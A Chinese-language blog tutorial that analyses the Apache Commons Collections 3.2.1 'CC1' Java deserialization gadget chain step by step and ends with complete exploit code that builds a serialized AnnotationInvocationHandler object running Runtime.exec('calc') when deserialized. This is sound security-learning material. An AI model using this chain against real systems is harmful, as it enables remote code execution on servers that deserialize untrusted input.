Java安全入门(二)——CC链1 分析+详解

2023-11-12

组件介绍

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ，主要封装了Java 的 Collection(集合) 相关类对象，它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件，Commons Collections被⼴泛应⽤于各种Java应⽤的开发，⽽正是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤，导致了反序列化⽤漏洞的普遍性和严重性。

Apache Commons Collections中有⼀个特殊的接口，其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数，叫做InvokerTransformer。

环境

CommonsCollections <= 3.2.1
java < 8u71（我是用的是8u66）

导入Maven依赖

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

当然也可以用传统的 lib包下导入add as a library

CC1链利用过程分析：

0x01 Transformer接口

Transformer是一个接口类，提供了一个对象转换方法transform(接收一个对象，然后对对象作一些操作并输出)：

package org.apache.commons.collections;

public interface Transformer {

    public Object transform(Object input);

}

该接口的重要实现类有：ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 。

ConstantTransformer类

关键代码如下：

接受一个对象返回一个常量，无论接收什么对象都返回 iConstant

这个常量在构造函数当中

ChainedTransformer类

当传⼊的参数是⼀个数组的时候，就开始循环读取，对每个参数调⽤ transform ⽅法,从⽽构造出⼀条链。

它赋值时会传入一个要调用方法的数组，然后将传入的方法链式(前一个的输出作后一个的输入)调用。

InvokerTransformer类

我们先看一下它的 transform 方法，传入一个对象，然后反射调用。方法值，参数类型，参数都是可控的。

为什么说是可控的呢？我们看它的构造方法就会明白。

这里其实就是一个很标准的任意方法调用。

例子1：

利用该方法弹出计算器：

import org.apache.commons.collections.functors.InvokerTransformer;

public class demo01 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
    }
}

这里为 InvokerTransformer 类中的 transform 方法传入Runtime实例，同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc)，我们之前提到了 transform 方法中的反射调用，所以成功弹出计算器。

所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer 类中的 transform 方法

右键 Find Usages 查看调用，寻找不同名字调用的 transform 方法，如果是transform 再调用 transform 是没有意义的，我们最后的目标是要回到 readObject 中。

假如再寻找的过程中 a方法调用了 transform，那么我们就要继续寻找谁调用了 a 方法，最终找到 readObject 方法。

最终是可以发现Map类中可以入手的（前辈们找到的）

0x02 TransformedMap类

TransformedMap 中 checkSetValue 中调用了 transform 方法

TransformedMap 构造函数

我们可以根据构造函数理解一下TransformedMap 的功能，接收一个Map进来，分别对 key 和 Value 进行一些操作。

因为构造方法是 protected 保护方法

所以我们可以找到在该类中调用它的方法 decorate

0x03 AbstractInputCheckedMapDecorator类

我们再寻找那个方法调用了checkSetValue 方法。只有一处调用，setValue 方法调用了 checkSetValue。

我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。

这里需要我们理解一下（再去翻代码是有一些繁琐的）

MapEntry中的setValue方法其实就是Entry中的setValue方法，他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry，所以当遍历Map时，setValue方法也就执行了。

发现这一点的话，我们就可以通过遍历Map来触发代码的执行。

例子2：

我们写一个例子帮助理解一下。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        // 以下步骤就相当于 invokerTransformer.transform(runtime);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        // 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }

    }
}

0x04 AnnotationInvocationHandler类

回到本职工作，我们再寻找谁调用的setValue 方法，还是不同名的方法掉用。

打断一下——下载源码，帮助调试

这里需要我们自己加入sun包的源码，因为一些原因IDEA中是没有一部分包（这里重点是sun包）的java文件，只有class文件。所以调试时会遇到找不到的问题，我们必须手动添加源码。

源码下载地址：

下载版本相对应的源码

jdk8u/jdk8u/jdk: af660750b2f4

解压后拷贝sun包

拷贝到jdk8u66的src文件下

IDEA中将src路径加入

这样我们在调试的时候就可以看到sun包的源码了，同时发现了 AnnotationInvocationHandler 中的 readObject 调用了setValue 方法，我们也是成功找到了readObject方法。

回归正题

接下来我们分析 AnnotationInvocationHandler 类，需要注意的时他不是public,只能在所属包下访问到，所以我们通过反射获取。

先看一下构造函数，接收两个参数 class对象（注解）和map对象，这个map是我们可以控制的，可以放置我们构造好的map。

同时在readObject方法，我们也发现Map的遍历

例子3

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

        //演示demo，省略部分代码，通过以下代码我们就可以获得AnnotationInvocationHandler对象

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参，注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
    
        
        //正常序列化与反序列化
        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

0x05 结束

其实到这里以及分析的差不多了，只有一些小问题需要我们去解决。

第一点：通过 InvokerTransformer方法获取runtime实例，并执行代码

第二点：readObject方法中有两个if判断，我们需要满足两个 if判断才能成功执行serValue方法，这个地方可以自己DeBug一下。

第三点，readObject方法中setValue方法中的值为 AnnotationTypeMismatchExceptionProxy，不是我们想要的Runtime.class，所以在 transformers 中加入了 new ConstantTransformer(Runtime.class)，确保value值为我们的Runtime.class

最后献上完整代码：

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

//        //正常获取runtime实例
//        Runtime runtime = Runtime.getRuntime();

//        //反射获取 runtime实例,并执行代码
//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");

//        //InvokerTransformer方法获取runtime实例，并执行代码
//        Method  getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

        //通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例，并执行代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);




        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参，注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

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